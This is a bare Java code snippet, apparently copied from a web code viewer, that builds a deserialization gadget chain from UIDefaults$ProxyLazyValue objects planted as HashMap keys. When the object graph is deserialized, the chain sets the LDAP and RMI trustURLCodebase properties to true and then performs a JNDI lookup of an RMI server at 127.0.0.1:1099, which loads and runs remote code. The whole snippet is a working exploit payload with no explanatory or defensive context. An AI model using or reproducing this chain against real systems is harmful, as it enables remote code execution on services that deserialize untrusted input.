1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| Object proxyLazyValue1 = Utils.createWithoutConstructor("javax.swing.UIDefaults$ProxyLazyValue"); Utils.setField(proxyLazyValue1, "className", "java.lang.System"); Utils.setField(proxyLazyValue1, "methodName", "setProperty"); Utils.setField(proxyLazyValue1, "args", new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase", "true"});
Object proxyLazyValue2 = Utils.createWithoutConstructor("javax.swing.UIDefaults$ProxyLazyValue"); Utils.setField(proxyLazyValue2, "className", "java.lang.System"); Utils.setField(proxyLazyValue2, "methodName", "setProperty"); Utils.setField(proxyLazyValue2, "args", new Object[]{"com.sun.jndi.rmi.object.trustURLCodebase", "true"});
Object proxyLazyValue3 = Utils.createWithoutConstructor("javax.swing.UIDefaults$ProxyLazyValue"); Utils.setField(proxyLazyValue3, "className", "javax.naming.InitialContext"); Utils.setField(proxyLazyValue3, "methodName", "doLookup"); Utils.setField(proxyLazyValue3, "args", new Object[]{"rmi://127.0.0.1:1099/RMIServer"});
UIDefaults map1 = new UIDefaults(); map1.put(1, proxyLazyValue1); UIDefaults map2 = new UIDefaults(); map2.put(1, proxyLazyValue1); UIDefaults map3 = new UIDefaults(); map3.put(1, proxyLazyValue2); UIDefaults map4 = new UIDefaults(); map4.put(1, proxyLazyValue2); UIDefaults map5 = new UIDefaults(); map5.put(1, proxyLazyValue3); UIDefaults map6 = new UIDefaults(); map6.put(1, proxyLazyValue3); HashMap bigMap = new HashMap(); bigMap.put(1, 1); bigMap.put(2, 2); bigMap.put(3, 3); bigMap.put(4, 4); bigMap.put(5, 5); bigMap.put(6, 6); Object[] table = (Object[])Utils.getFieldValue(bigMap, "table"); Utils.setField(table[1], "key", map1); Utils.setField(table[2], "key", map2); Utils.setField(table[3], "key", map3); Utils.setField(table[4], "key", map4); Utils.setField(table[5], "key", map5); Utils.setField(table[6], "key", map6);
unserialize(serialize(bigMap));
|